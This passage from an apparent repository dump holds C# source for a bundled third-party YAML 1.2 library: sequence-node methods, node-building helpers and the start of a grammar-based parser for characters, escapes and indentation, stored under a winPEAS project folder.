index.</returns>\n        /// <exception cref=\"ArgumentOutOfRangeException\"><paramref name=\"index\"/> is not a valid index in the <see cref=\"YamlSequence\"/>).</exception>\n        /// <remarks>\n        /// <para>This property provides the ability to access a specific node in the sequence by using the following syntax: mySequence[index].</para>\n        /// </remarks>\n        public YamlNode this[int index]\n        {\n            get { return sequence[index]; }\n            set {\n                if ( index < sequence.Count ) {\n                    var item = sequence[index];\n                    sequence[index] = value;\n                    OnItemRemoved(item);\n                } else {\n                    sequence[index] = value;\n                }\n                OnItemAdded(value);\n            }\n        }\n        /// <summary>\n        /// Adds an item to the <see cref=\"YamlSequence\"/>.\n        /// </summary>\n        /// <param name=\"item\">The node to add to the <see cref=\"YamlSequence\"/>.</param>\n        public void Add(YamlNode item)\n        {\n            sequence.Add(item);\n            OnItemAdded(item);\n        }\n        /// <summary>\n        /// Removes all nodes from the <see cref=\"YamlSequence\"/>.\n        /// </summary>\n        public void Clear()\n        {\n            var old = sequence;\n            sequence = new List<YamlNode>();\n            foreach ( var item in old )\n                OnItemRemoved(item);\n        }\n        /// <summary>\n        /// Determines whether a sequence contains a child node that equals to the specified <paramref name=\"value\"/>\n        /// by using the default equality comparer.\n        /// </summary>\n        /// <param name=\"value\">The node value to locate in the sequence.</param>\n        /// <returns>true If the sequence contains an node that has the specified value; otherwise, false.</returns>\n        /// <example>\n        /// <code>\n        /// var seq = new YamlSequence(new YamlScalar(\"a\"));\n        /// \n        /// // different object that has same value\n        /// Assert.IsTrue(seq.Contains(new YamlScalar(\"a\")));\n        /// \n        /// // different value\n        /// Assert.IsFalse(s.Contains(str(\"b\")));\n        /// </code>\n        /// </example>\n        public bool Contains(YamlNode value)\n        {\n            return sequence.Contains(value);\n        }\n        /// <summary>\n        /// Copies the child nodes of the <see cref=\"YamlSequence\"/> to an <see cref=\"Array\"/>, starting at a particular <see cref=\"Array\"/> index.\n        /// </summary>\n        /// <param name=\"array\">The one-dimensional <see cref=\"Array\"/> that is the destination of the elements copied from <see cref=\"YamlSequence\"/>.</param>\n        /// <param name=\"arrayIndex\">The zero-based index in <paramref name=\"array\"/> at which copying begins.</param>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"array\"/> is a null reference.</exception>\n        /// <exception cref=\"ArgumentOutOfRangeException\"><paramref name=\"arrayIndex\"/> is less than 0.</exception>\n        /// <exception cref=\"ArgumentException\">\n        /// <para>array is multidimensional.</para>\n        /// <para>-or-</para>\n        /// <para>The number of elements in the source <see cref=\"YamlSequence\"/> is greater than the available space from \n        /// <paramref name=\"arrayIndex\"/> to the end of the destination array.</para>\n        /// </exception>\n        public void CopyTo(YamlNode[] array, int arrayIndex)\n        {\n            sequence.CopyTo(array, arrayIndex);\n        }\n        /// <summary>\n        /// Gets the number of child nodes of the <see cref=\"YamlSequence\"/>.\n        /// </summary>\n        /// <value>The number of child nodes of the sequence.</value>\n        public int Count\n        {\n            get { return sequence.Count; }\n        }\n        bool ICollection<YamlNode>.IsReadOnly\n        {\n            get { return ( (ICollection<YamlNode>)sequence ).IsReadOnly; }\n        }\n        /// <summary>\n        /// Removes the first occurrence of a specific node from the <see cref=\"YamlSequence\"/>.\n        /// </summary>\n        /// <param name=\"node\">The node to remove from the <see cref=\"YamlSequence\"/>.</param>\n        /// <returns> true if <paramref name=\"node\"/> was successfully removed from the <see cref=\"YamlSequence\"/>; otherwise, false. \n        /// This method also returns false if <paramref name=\"node\"/> is not found in the original <see cref=\"YamlSequence\"/>.</returns>\n        /// \n        public bool Remove(YamlNode node)\n        {\n            var i = sequence.FindIndex(item => item.Equals(node));\n            if ( i < 0 )\n                return false;\n            var item2 = sequence[i];\n            sequence.RemoveAt(i);\n            OnItemRemoved(item2);\n            return true;\n        }\n        /// <summary>\n        /// Returns an enumerator that iterates through the all child nodes.\n        /// </summary>\n        /// <returns>An enumerator that iterates through the all child nodes.</returns>\n        public IEnumerator<YamlNode> GetEnumerator()\n        {\n            return sequence.GetEnumerator();\n        }\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()\n        {\n            return ( (System.Collections.IEnumerable)sequence ).GetEnumerator();\n        }\n        #endregion\n    }\n\n    /// <summary>\n    /// Implements utility functions to instantiating YamlNode's\n    /// </summary>\n    /// <example>\n    /// <code>\n    /// var node_tree = seq(\n    ///     str(\"abc\"),\n    ///     str(\"def\"),\n    ///     map(\n    ///         str(\"key\"), str(\"value\"),\n    ///         str(\"key2\"), seq( str(\"value2a\"), str(\"value2b\") )\n    ///     ),\n    ///     str(\"2\"), // !!str\n    ///     str(\"!!int\", \"2\")\n    /// );\n    /// \n    /// string yaml = node_tree.ToYaml();\n    /// \n    /// // %YAML 1.2\n    /// // ---\n    /// // - abc\n    /// // - def\n    /// // - key: value\n    /// //   key2: [ value2a, value2b ]\n    /// // - \"2\"         # !!str\n    /// // - 2           # !!int\n    /// // ...\n    /// </code>                                                   \n    /// </example>\n    public class YamlNodeManipulator\n    {\n        /// <summary>\n        /// Create a scalar node. Tag is set to be \"!!str\".\n        /// </summary>\n        /// <example>\n        /// <code>\n        /// var node_tree = seq(\n        ///     str(\"abc\"),\n        ///     str(\"def\"),\n        ///     map(\n        ///         str(\"key\"), str(\"value\"),\n        ///         str(\"key2\"), seq( str(\"value2a\"), str(\"value2b\") )\n        ///     ),\n        ///     str(\"2\"), // !!str\n        ///     str(\"!!int\", \"2\")\n        /// );\n        /// \n        /// string yaml = node_tree.ToYaml();\n        /// \n        /// // %YAML 1.2\n        /// // ---\n        /// // - abc\n        /// // - def\n        /// // - key: value\n        /// //   key2: [ value2a, value2b ]\n        /// // - \"2\"         # !!str\n        /// // - 2           # !!int\n        /// // ...\n        /// </code>                                                   \n        /// </example>\n        /// <param name=\"value\">Value for the scalar node.</param>\n        /// <returns>Created scalar node.</returns>\n        protected static YamlScalar str(string value)\n        {\n            return new YamlScalar(value);\n        }\n        /// <summary>\n        /// Create a scalar node.\n        /// </summary>\n        /// <param name=\"tag\">Tag for the scalar node.</param>\n        /// <param name=\"value\">Value for the scalar node.</param>\n        /// <returns>Created scalar node.</returns>\n        protected static YamlScalar str(string tag, string value)\n        {\n            return new YamlScalar(tag, value);\n        }\n        /// <summary>\n        /// Create a sequence node. Tag is set to be \"!!seq\".\n        /// </summary>\n        /// <param name=\"nodes\">Child nodes.</param>\n        /// <returns>Created sequence node.</returns>\n        protected static YamlSequence seq(params YamlNode[] nodes)\n        {\n            return new YamlSequence(nodes);\n        }\n        /// <summary>\n        /// Create a sequence node. \n        /// </summary>\n        /// <param name=\"nodes\">Child nodes.</param>\n        /// <param name=\"tag\">Tag for the seuqnce.</param>\n        /// <returns>Created sequence node.</returns>\n        protected static YamlSequence seq_tag(string tag, params YamlNode[] nodes)\n        {\n            var result= new YamlSequence(nodes);\n            result.Tag= tag;\n            return result;\n        }\n        /// <summary>\n        /// Create a mapping node. Tag is set to be \"!!map\".\n        /// </summary>\n        /// <param name=\"nodes\">Sequential list of key/value pairs.</param>\n        /// <returns>Created mapping node.</returns>\n        protected static YamlMapping map(params YamlNode[] nodes)\n        {\n            return new YamlMapping(nodes);\n        }\n        /// <summary>\n        /// Create a mapping node. \n        /// </summary>\n        /// <param name=\"nodes\">Sequential list of key/value pairs.</param>\n        /// <param name=\"tag\">Tag for the mapping.</param>\n        /// <returns>Created mapping node.</returns>\n        protected static YamlMapping map_tag(string tag, params YamlNode[] nodes)\n        {\n            var map = new YamlMapping(nodes);\n            map.Tag = tag;\n            return map;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlParser.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Text.RegularExpressions;\nusing System.Diagnostics;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// <para>A text parser for<br/>\n    /// YAML Ain’t Markup Language (YAML™) Version 1.2<br/>\n    /// 3rd Edition (2009-07-21)<br/>\n    /// http://yaml.org/spec/1.2/spec.html </para>\n    /// \n    /// <para>This class parse a YAML document and compose representing <see cref=\"YamlNode\"/> graph.</para>\n    /// </summary>\n    /// <example>\n    /// <code>\n    /// string yaml = LoadYamlSource();\n    /// YamlParser parser = new YamlParser();\n    /// Node[] result = null;\n    /// try {\n    ///     result = parser.Parse(yaml);\n    ///     ...\n    ///     // you can reuse parser as many times you want\n    ///     ...\n    ///     \n    /// } catch( ParseErrorException e ) {\n    ///     MessageBox.Show(e.Message);\n    /// }\n    /// if(result != null) {\n    ///     ...\n    /// \n    /// }\n    /// </code>\n    /// </example>\n    /// <remarks>\n    /// <para>Currently, this parser violates the YAML 1.2 specification in the following points.</para>\n    /// <para>- line breaks are not normalized.</para>\n    /// <para>- omission of the final line break is allowed in plain / literal / folded text.</para>\n    /// <para>- ':' followed by ns-indicator is excluded from ns-plain-char.</para>\n    /// </remarks>\n    internal class YamlParser: Parser<YamlParser.State>\n    {\n        /// <summary>\n        /// Initialize a YAML parser.\n        /// </summary>\n        public YamlParser()\n        {\n            Anchors = new AnchorDictionary(Error);\n\n            TagPrefixes = new YamlTagPrefixes(Error);\n\n            Warnings = new List<string>();\n        }\n\n        YamlConfig config;\n        List<YamlNode> ParseResult = new List<YamlNode>();\n        /// <summary>\n        /// Parse YAML text and returns a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"yaml\">YAML text to be parsed.</param>\n        /// <returns>A list of <see cref=\"YamlNode\"/> parsed from the given text</returns>\n        public List<YamlNode> Parse(string yaml)\n        {\n            return Parse(yaml, YamlNode.DefaultConfig);\n        }\n        /// <summary>\n        /// Parse YAML text and returns a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"yaml\">YAML text to be parsed.</param>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML Configuration</see> to be used in parsing.</param>\n        /// <returns>A list of <see cref=\"YamlNode\"/> parsed from the given text</returns>\n        public List<YamlNode> Parse(string yaml, YamlConfig config)\n        {\n            this.config = config;\n            Warnings.Clear();\n            ParseResult.Clear();\n            AlreadyWarnedChars.Clear();\n            if ( base.Parse(lYamlStream, yaml + \"\\0\") ) // '\\0' = guard char\n                return ParseResult;\n            return new List<YamlNode>();\n        }\n\n        internal bool IsValidPlainText(string plain, YamlConfig config)\n        {\n            this.config = config;\n            Warnings.Clear();\n            ParseResult.Clear();\n            AlreadyWarnedChars.Clear();\n            return base.Parse(() => nsPlain(0, Context.BlockKey) && EndOfFile(), plain + \"\\0\"); // '\\0' = guard char\n        }\n\n        #region Warnings\n        /// <summary>\n        /// Warnings that are made while parsing a YAML text.\n        /// This property is cleared by new call for <see cref=\"Parse(string)\"/> method.\n        /// </summary>\n        public List<string> Warnings { get; private set; }\n        Dictionary<string, bool> WarningAdded = new Dictionary<string, bool>();\n        /// <summary>\n        /// Add message in <see cref=\"Warnings\"/> property.\n        /// </summary>\n        /// <param name=\"message\"></param>\n        protected override void StoreWarning(string message)\n        {\n            // Warnings will not be rewound.\n            // We have to avoid same warnings from being repeatedly reported.\n            if ( !WarningAdded.ContainsKey(message) ) {\n                Warnings.Add(message);\n                WarningAdded[message] = true;\n            }\n        }\n\n        /// <summary>\n        /// Invoked when unknown directive is found in YAML document.\n        /// </summary>\n        /// <param name=\"name\">Name of the directive</param>\n        /// <param name=\"args\">Parameters for the directive</param>\n        protected virtual void ReservedDirective(string name, params string[] args)\n        {\n            Warning(\"Custom directive %{0} was ignored\", name);\n        }\n        /// <summary>\n        /// Invoked when YAML directive is found in YAML document.\n        /// </summary>\n        /// <param name=\"version\">Given version</param>\n        protected virtual void YamlDirective(string version)\n        {\n            if ( version != \"1.2\" )\n                Warning(\"YAML version %{0} was specified but ignored\", version);\n        }\n        Dictionary<char, bool> AlreadyWarnedChars = new Dictionary<char, bool>();\n        void WarnIfCharWasBreakInYAML1_1()\n        {\n            if ( Charsets.nbCharWithWarning(text[p]) && !AlreadyWarnedChars.ContainsKey(text[p]) ) {\n                Warning(\"{0} is treated as non-break character unlike YAML 1.1\",\n                    text[p] < 0x100 ? string.Format(\"\\\\x{0:x2}\", (int)text[p]) :\n                                      string.Format(\"\\\\u{0:x4}\", (int)text[p])\n                    );\n                AlreadyWarnedChars.Add(text[p], true);\n            }\n        }\n        #endregion\n\n        #region Debug.Assert\n#if DEBUG\n        /// <summary>\n        /// Since System.Diagnostics.Debug.Assert is too anoying while development,\n        /// this class temporarily override Debug.Assert action.\n        /// </summary>\n        private class Debug\n        {\n            public static void Assert(bool condition)\n            {\n                Assert(condition, \"\");\n            }\n            public static void Assert(bool condition, string message)\n            {\n                if ( !condition )\n                    throw new Exception(\"assertion failed: \" + message);\n            }\n        }\n        #endif\n        #endregion\n\n        #region Status / Value\n        /// <summary>\n        /// additional fields to be rewound\n        /// </summary>\n        public struct State\n        {\n            /// <summary>\n            /// tag for the next value (will be cleared when the next value is created)\n            /// </summary>\n            public string tag;\n            /// <summary>\n            /// anchor for the next value (will be cleared when the next value is created)\n            /// </summary>\n            public string anchor;   \n            /// <summary>\n            /// current value\n            /// </summary>\n            public YamlNode value;      \n            /// <summary>\n            /// anchor rewinding position\n            /// </summary>\n            public int anchor_depth;\n        }\n\n        /// <summary>\n        /// rewinding action\n        /// </summary>\n        protected override void Rewind()\n        {\n            Anchors.RewindDeapth = state.anchor_depth;\n        }\n\n        bool SetValue(YamlNode v)\n        {\n            if ( state.value != null && v != null )\n                throw new Exception();\n            state.value = v;\n            v.OnLoaded();\n            return true;\n        }\n        YamlNode GetValue()\n        {\n            var v = state.value;\n            state.value = null;\n            return v;\n        }\n        #endregion\n\n        YamlTagPrefixes TagPrefixes;\n\n        /// <summary>\n        /// set status.tag with tag resolution\n        /// </summary>\n        /// <param name=\"tag_handle\"></param>\n        /// <param name=\"tag_suffix\"></param>\n        /// <returns></returns>\n        private bool SetTag(string tag_handle, string tag_suffix)\n        {\n            return SetTag(TagPrefixes.Resolve(tag_handle, tag_suffix));\n        }\n        /// <summary>\n        /// set status.tag with verbatim tag value\n        /// </summary>\n        /// <param name=\"verbatim_tag\">verbatim tag</param>\n        /// <returns></returns>\n        private bool SetTag(string verbatim_tag)\n        {\n            Debug.Assert(verbatim_tag != \"\");\n            // validate tag\n            if ( verbatim_tag.StartsWith(\"!\") ) {\n                if ( verbatim_tag == \"!\" )\n                    Error(\"Empty local tag was found.\");\n            } else {\n                if ( !TagValidator.IsValid(verbatim_tag) )\n                    Warning(\"Invalid global tag name '{0}' (c.f. RFC 4151) found\", verbatim_tag);\n            }\n            state.tag = verbatim_tag;\n            return true;\n        }\n        YamlTagValidator TagValidator = new YamlTagValidator();\n\n        AnchorDictionary Anchors;\n        private void RegisterAnchorFor(YamlNode value)\n        {\n            if ( state.anchor != null ) {\n                Anchors.Add(state.anchor, value);\n                state.anchor = null;\n                state.anchor_depth = Anchors.RewindDeapth;\n            }\n        }\n\n        /// <summary>\n        /// Used when the parser resolves a tag for a scalar node from its value.\n        /// \n        /// New resolution rules can be add before calling <see cref=\"Parse(string)\"/> method.\n        /// </summary>\n        private void AutoDetectTag(string from_style)\n        {\n            if ( from_style != null )\n                from_style = YamlNode.ExpandTag(from_style);\n\n            if ( state.tag != null )\n                return;\n\n            if ( from_style == null )\n                from_style = config.TagResolver.Resolve(stringValue.ToString());\n\n            if ( from_style != null )\n                state.tag = from_style;\n            return;\n        }\n        private YamlScalar CreateScalar(string auto_detected_tag, Position pos)\n        {\n            AutoDetectTag(auto_detected_tag);\n            if ( state.tag == null || state.tag == \"\" /* ! was specified */ )\n                state.tag = YamlNode.DefaultTagPrefix + \"str\";\n            var value = new YamlScalar(state.tag, stringValue.ToString());\n            value.Raw = pos.Raw;\n            value.Column = pos.Column;\n            stringValue.Length = 0;\n            RegisterAnchorFor(value);\n            state.tag = null;\n            return value;\n        }\n        private YamlSequence CreateSequence(Position pos)\n        {\n            if ( state.tag == null || state.tag == \"\" /* ! was specified */ )\n                state.tag = YamlNode.DefaultTagPrefix + \"seq\";\n            var seq = new YamlSequence();\n            seq.Tag = state.tag;\n            seq.Raw = pos.Raw;\n            seq.Column = pos.Column;\n            RegisterAnchorFor(seq);\n            state.tag = null;\n            return seq;\n        }\n        private YamlMapping CreateMapping(Position pos)\n        {\n            if ( state.tag == null || state.tag == \"\" /* ! was specified */ )\n                state.tag = YamlNode.DefaultTagPrefix + \"map\";\n            var map = new YamlMapping();\n            map.Tag = state.tag;\n            map.Raw = pos.Raw;\n            map.Column = pos.Column;\n            RegisterAnchorFor(map);\n            state.tag = null;\n            return map;\n        }\n\n        #region The BNF syntax for YAML 1.2\n\n        #region Context\n        enum Context\n        {\n            BlockIn,\n            BlockOut,\n            FlowIn,\n            FlowOut,\n            BlockKey,\n            FlowKey,\n            Folded,\n        }\n        #endregion\n\n        #region Chapter 5. Character Set\n        class Charsets \n        {\n            static Charsets()\n            {\n                // [1]\n                cPrintable = Charset(c =>\n                    /*  ( 0x10000 < c && c < 0x110000 ) || */\n                    ( 0xe000 <= c && c <= 0xfffd ) ||\n                    ( 0xa0 <= c && c <= 0xd7ff ) ||\n                    c == 0x85 ||\n                    ( 0x20 <= c && c <= 0x7e ) ||\n                    c == 0x0d ||\n                    c == 0x0a ||\n                    c == 0x09\n                );\n                // [22]\n                cIndicator = Charset(c =>\n                    c < 0x100 &&\n                    \"-?:,[]{}#&*!|>'\\\"%@`\".Contains(c)\n                    );\n                // [23]\n                cFlowIndicator = Charset(c =>\n                    c < 0x100 &&\n                    \",[]{}\".Contains(c)\n                    );\n                nsDecDigit = Charset(c =>\n                    c < 0x100 &&\n                    ( '0' <= c && c <= '9' )\n                    );\n                nsHexDigit = Charset(c =>\n                    c < 0x100 && (\n                        nsDecDigit(c) ||\n                        ( 'A' <= c && c <= 'F' ) ||\n                        ( 'a' <= c && c <= 'f' )\n                        )\n                    );\n                nbChar = Charset(c =>\n                    //  ( 0x10000 < c && c < 0x110000 ) || \n                    ( 0xe000 <= c && c <= 0xfffd && c != 0xFEFF ) ||\n                    ( 0xa0 <= c && c <= 0xd7ff ) ||\n                    c == 0x85 ||\n                    ( 0x20 <= c && c <= 0x7e ) ||\n                        //  c == 0x0d ||\n                        //  c == 0x0a ||\n                    c == 0x09\n                );\n                nbCharWithWarning = Charset(c =>\n                    c == 0x2029 ||  // paragraph separator\n                    c == 0x2028 ||  // line separator\n                    c == 0x85 ||    // next line\n                    c == 0x0c       // form feed\n                    );\n                sSpace = c => c == ' ';\n                sWhite = c => c == ' ' || c == '\\t';\n                nsChar = Charset(c =>\n                    // nbChar(c) && !sWhite(c)\n                    //  ( 0x10000 < c && c < 0x110000 ) || \n                    ( 0xe000 <= c && c <= 0xfffd && c != 0xFEFF ) ||\n                    ( 0xa0 <= c && c <= 0xd7ff ) ||\n                    c == 0x85 ||\n                    ( 0x21 <= c && c <= 0x7e )\n                    //  c == 0x0d ||\n                    //  c == 0x0a ||\n                    //  c == 0x09\n                    );\n                nsAsciiLetter = Charset(c =>\n                    c < 0x100 && (\n                        ( 'A' <= c && c <= 'Z' ) ||\n                        ( 'a' <= c && c <= 'z' )\n                        )\n                    );\n                nsWordChar = Charset(c =>\n                    c < 0x100 && (\n                        nsDecDigit(c) ||\n                        nsAsciiLetter(c) ||\n                        c == '-'\n                        )\n                    );\n                nsUriCharSub = Charset(c =>\n                    c < 0x100 && (\n                        nsWordChar(c) ||\n                        @\"#;/?:@&=$,_.!~*'()[]\".Contains(c)\n                        )\n                    );\n                nsTagCharSub = Charset(c =>\n                    c < 0x100 &&\n                    nsUriCharSub(c) && !( c == '!' || cFlowIndicator(c) )\n                    );\n                nsAnchorChar = Charset(c =>\n                    nsChar(c) && !cFlowIndicator(c)\n                    );\n                nsPlainSafeOut = c => nsChar(c);\n                nsPlainSafeIn = Charset(c =>\n                    nsPlainSafeOut(c) && !cFlowIndicator(c)\n                    );\n                nsPlainFirstSub = Charset(c =>\n                    nsChar(c) && !cIndicator(c)\n                    );\n            }\n\n            public static Func<char, bool> cPrintable; // [1] \n            public static bool nbJson(char c) // [2] \n            {\n                return c == 0x09 || ( 0x20 <= c /* && c<=0x10ffff */ );\n            }\n            public static bool cByteOrdermark(char c) // [3] \n            {\n                return c == '\\uFEFF';\n            }\n            /// <summary>\n            /// [22]\n            /// </summary>\n            public static Func<char, bool> cIndicator;\n            /// <summary>\n            /// [23]\n            /// </summary>\n            public static Func<char, bool> cFlowIndicator;\n            public static Func<char, bool> nsDecDigit;\n            public static Func<char, bool> nsHexDigit;\n            public static Func<char, bool> nsAsciiLetter;\n            public static Func<char, bool> nsWordChar;\n            public static Func<char, bool> sSpace;\n            public static Func<char, bool> sWhite;\n            public static Func<char, bool> nbChar;\n            public static Func<char, bool> nbCharWithWarning;\n            public static Func<char, bool> nsChar;\n            public static Func<char, bool> nsUriCharSub;\n            public static Func<char, bool> nsTagCharSub;\n            public static Func<char, bool> nsAnchorChar;\n            public static Func<char, bool> nsPlainSafeIn;\n            public static Func<char, bool> nsPlainSafeOut;\n            public static Func<char, bool> nsPlainFirstSub;\n            public static bool bChar(char c) { return c == '\\n' || c == '\\r'; }\n        }\n\n        bool nbChar() // [27] \n        {\n            WarnIfCharWasBreakInYAML1_1();\n            if ( Charsets.nbChar(text[p]) ) {\n                p++;\n                return true;\n            }\n            return false;\n        }\n        bool bBreak() // [28] \n        {   // \\r\\n? | \\n \n            if ( text[p] == '\\r' ) {\n                p++;\n                if ( text[p] == '\\n' )\n                    p++;\n                return true;\n            }\n            if ( text[p] == '\\n' ) {\n                p++;\n                return true;\n            }\n            return false;\n        }\n        bool bAsLineFeed() // [29] \n        {\n            if ( config.NormalizeLineBreaks ) {\n                if ( bBreak() ) {\n                    stringValue.Append(config.LineBreakForInput);\n                    return true;\n                }\n                return false;\n            } else {\n                return Save(() => bBreak(), s => stringValue.Append(s));\n            }\n        }\n        bool bNonContent() // [30] \n        {\n            return bBreak();\n        }\n        bool sWhite() // [33] \n        {\n            if ( text[p] == ' ' || text[p] == '\\t' ) {\n                p++;\n                return true;\n            }\n            return false;\n        }\n        bool Repeat_sWhiteAsString()\n        {\n            var start = p;\n            while ( Charsets.sWhite(text[p]) )\n                stringValue.Append(text[p++]);\n            return true;\n        }\n        bool nsChar() // [34] \n        {\n            WarnIfCharWasBreakInYAML1_1();\n            if ( Charsets.nsChar(text[p]) ) {\n                p++;\n                return true;\n            }\n            return false;\n        }\n        bool nsUriChar() // [39] \n        {\n            if ( Charsets.nsUriCharSub(text[p]) ) {\n                stringValue.Append(text[p++]);\n                return true;\n            }\n            return nsUriEscapedChar();\n        }\n        bool nsUriEscapedChar()\n        {\n            if ( text[p] == '+' ) {\n                stringValue.Append(' ');\n                p++;\n                return true;\n            }\n            if ( text[p] != '%' )\n                return false;\n            // http://www.cresc.co.jp/tech/java/URLencoding/JavaScript_URLEncoding.htm\n            int v1 = -1, v2 = -1, v3 = -1, v4 = -1;\n            ErrorUnless(\n                text[p] == '%' && HexValue(p + 1, out v1) &&\n                ( v1 < 0x80 || ( text[p + 3] == '%' && HexValue(p + 4, out v2) ) ) &&\n                ( v1 < 0xe0 || ( text[p + 6] == '%' && HexValue(p + 7, out v3) ) ) &&\n                ( v1 < 0xf1 || ( text[p + 9] == '%' && HexValue(p + 10, out v4) ) ),\n                \"Invalid URI escape.\"\n                );\n            if ( v2 == -1 ) { // 1 byte code\n                stringValue.Append(\n                    (char)v1\n                    );\n                p += 3;\n                return true;\n            }\n            if ( v3 == -1 ) {\n                stringValue.Append(\n                    (char)( ( ( v1 & 0x1f ) << 6 ) + ( v2 & 0x7f ) )\n                    );\n                p += 6;\n                return true;\n            }\n            if ( v4 == -1 ) {\n                stringValue.Append(\n                    (char)( ( ( v1 & 0x0f ) << 12 ) + ( ( v2 & 0x7f ) << 6 ) + ( v3 & 0x7f ) )\n                    );\n                p += 9;\n                return true;\n            }\n            stringValue.Append(\n                (char)( ( ( v1 & 0x07 ) << 18 ) + ( ( v2 & 0x7f ) << 12 ) + ( ( v3 & 0x7f ) << 6 ) + ( v4 & 0x7f ) )\n                );\n            p += 12;\n            return true;\n        }\n        bool nsTagChar() // [40] \n        {\n            if ( Charsets.nsTagCharSub(text[p]) ) {\n                stringValue.Append(text[p++]);\n                return true;\n            }\n            return nsUriEscapedChar();\n        }\n        bool c_nsEscChar() // [62] \n        {\n            if ( text[p] != '\\\\' ) \n                return false;\n\n            char c = '\\0';\n            int v1 = 0;\n            int v2 = 0;\n            int v3 = 0;\n            int v4 = 0;\n            switch ( text[p + 1] ) {\n            case '0':\n                c = '\\0';\n                break;\n            case 'a':\n                c = '\\a';\n                break;\n            case 'b':\n                c = '\\b';\n                break;\n            case 't':\n            case '\\x09':\n                c = '\\t';\n                break;\n            case 'n':\n                c = '\\n';\n                break;\n            case 'v':\n                c = '\\v';\n                break;\n            case 'f':\n                c = '\\f';\n                break;\n            case 'r':\n                c = '\\r';\n                break;\n            case 'e':\n                c = '\\x1b';\n                break;\n            case ' ':\n                c = ' ';\n                break;\n            case '\"':\n                c = '\"';\n                break;\n            case '/':\n                c = '/';\n                break;\n            case '\\\\':\n                c = '\\\\';\n                break;\n            case 'N':\n                c = '\\x85';\n                break;\n            case '_':\n                c = '\\xa0';\n                break;\n            case 'L':\n                c = '\\u2028';\n                break;\n            case 'P':\n                c = '\\u2029';\n                break;\n            case 'x':\n                if(!HexValue(p + 2, out v1))\n                    InvalidEscapeSequence(4);\n                c = (char)v1;\n                p+=2;\n                break;\n            case 'u':\n                if(!(HexValue(p + 2, out v1) && HexValue(p + 4, out v2)))\n                    InvalidEscapeSequence(6);\n                c = (char)( ( v1 << 8 ) + v2 );\n                p+=4;\n                break;\n            case 'U':\n                if(!(HexValue(p + 2, out v1) && HexValue(p + 4, out v2) && HexValue(p + 6, out v3) && HexValue(p + 8, out v4)))\n                    InvalidEscapeSequence(10);\n                c = (char)( ( v1 << 24 ) + ( v2 << 16 ) + ( v3 << 8 ) + v4 );\n                p += 8;\n                break;\n            default:\n                // escaped line break or error\n                if ( text[p + 1] != '\\n' && text[p + 1] != '\\r' )\n                    InvalidEscapeSequence(2);\n                return false;\n            }\n            p += 2;\n            stringValue.Append(c);\n            return true;\n        }\n        void InvalidEscapeSequence(int n)\n        {   // n chars from the current point should be reported by not acrossing \" nor EOF\n            var s = \"\";\n            for ( int i = 0; i < n; i++ )\n                if ( text[p + i] != '\"' && Charsets.nbJson(text[p + i]) ) {\n                    s += text[p + i];\n                } else\n                    break;\n            Error(\"{0} is not a valid escape sequence.\", s);\n        }\n        bool HexValue(int p, out int v)\n        {\n            v = 0;\n            if ( text.Length <= p + 1 || !Charsets.nsHexDigit(text[p]) || !Charsets.nsHexDigit(text[p + 1]) )\n                return false;\n            v = ( HexNibble(text[p]) << 4 ) + HexNibble(text[p + 1]);\n            return true;\n        }\n        int HexNibble(char c)\n        {\n            if ( c <= '9' )\n                return c - '0';\n            if ( c < 'Z' )\n                return c - 'A' + 10;\n            return c - 'a' + 10;\n        }\n        #endregion\n\n        #region Chapter 6. Basic Structures \n        #region 6.1 Indentation Spaces\n        bool TabCharFoundForIndentation = false;\n        bool sIndent(int n) // [63] \n        {\n            TabCharFoundForIndentation = false;\n            Debug.Assert(StartOfLine() || EndOfFile());\n            for ( int i = 0; i < n; i++ )\n                if ( text[p + i] != ' ' ) {\n                    if ( text[p + i] == '\\t' )\n                        TabCharFoundForIndentation = true;\n                    return false;\n                }\n            p += n;\n            return true;\n        }\n        bool sIndentLT(int n) // [64] \n        {\n            Debug.Assert(StartOfLine() || EndOfFile());\n            int i = 0;\n            while ( Charsets.sSpace(text[p + i]) )\n                i++;\n            if ( i < n ) {\n                p += i;\n                return true;\n            }\n            return false;\n        }\n        bool sIndentLE(int n) // [65] \n        {\n            return sIndentLT(n + 1);\n        }\n        bool sIndentCounted(int n, out int m) // [185, 187]\n        {\n            m = 0;\n            while ( n < 0 || text[p] == ' ' ) {\n                n++;\n                p++;\n                m++;\n            }\n            return m > 0;\n        }\n        #endregion\n        #region 6.2 Separation Spaces\n        private bool sSeparateInLine() // [66] \n        {\n            return OneAndRepeat(Charsets.sWhite) || StartOfLine();\n        }\n        private bool StartOfLine() // [66, 79, 206]\n        {   // TODO: how about \"---\" ?\n            return p == 0 || text[p - 1] == '\\n' || text[p - 1] == '\\r' || text[p - 1] == '\\ufeff';\n        }\n        #endregion\n        #region 6.3 Line Prefixes\n        private bool sLinePrefix(int n, Context c) // [67] \n        {\n            switch ( c ) {\n            case Context.Folded:\n            case Context.BlockOut:\n            case Context.BlockIn:\n                return sBlockLinePrefix(n);\n            case Context.FlowOut:\n            case Context.FlowIn:\n                return sFlowLinePrefix(n);\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        private bool sBlockLinePrefix(int n) // [68] \n        {\n            return sIndent(n);\n        }\n        bool sFlowLinePrefix(int n) // [69] \n        {\n            return sIndent(n) && Optional(sSeparateInLine);\n        }\n        #endregion\n        #region 6.4 Empty Lines\n        private bool lEmpty(int n, Context c) // [70] \n        {\n            return\n                RewindUnless(() => ( sLinePrefix(n, c) || sIndentLT(n) ) && bAsLineFeed());\n        }\n        #endregion\n        #region 6.5 Line Folding\n        private bool b_lTrimmed(int n, Context c) // [71] \n        {\n            return RewindUnless(() =>\n                bNonContent() && OneAndRepeat(() => lEmpty(n, c))\n                );\n        }\n        bool bAsSpace() // [72] \n        {\n            return \n                bBreak() &&\n                Action(()=>stringValue.Append(' '));\n        }\n        private bool b_lFolded(int n, Context c) // [73] \n        {\n            return b_lTrimmed(n, c) || bAsSpace();\n        }\n        private bool sFlowFolded(int n) // [74] \n        {   \n            return RewindUnless(() =>\n                Optional(sSeparateInLine) &&\n                b_lFolded(n, Context.FlowIn) &&\n                !cForbidden() &&\n           